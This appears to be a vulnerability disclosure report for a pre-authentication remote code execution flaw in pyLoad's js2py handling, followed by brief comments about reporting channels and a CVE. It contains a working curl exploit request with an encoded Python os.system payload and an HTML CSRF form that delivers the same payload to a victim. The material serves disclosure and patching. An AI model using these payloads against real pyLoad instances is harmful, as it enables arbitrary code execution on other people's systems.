Pre-auth RCE in pyload/pyload
Reported on
Jan 1st 2023
Description
An unauthenticated attacker can execute arbitrary python code by abusing js2py functionality.
Also, due to the lack of CSRF protection, a victim can be tricked to execute arbitrary python code.
Proof of Concept
Run the command below and touch /tmp/pwnd gets executed.
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
--data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
Decoded jk parameter: pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};
You can also send the url of a website that hosts the HTML file below to a victim.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:9666/flash/addcrypted2" method="POST">
<input type="hidden" name="package" value="xxx" />
<input type="hidden" name="crypted" value="AAAA" />
<input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" />
<input type="hidden" name="passwords" value="aaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Impact
This vulnerability is capable of executing arbitrary python code.
@admin
Hi.
It seems that security@pyload.net is the email address to report a vulnerability according to SECURITY.md
@maintainer
Do you mind requesting a CVE for this vulnerability?
Do you mind requesting a CVE for this vulnerability?
How do you so? I cannot see any option for that.
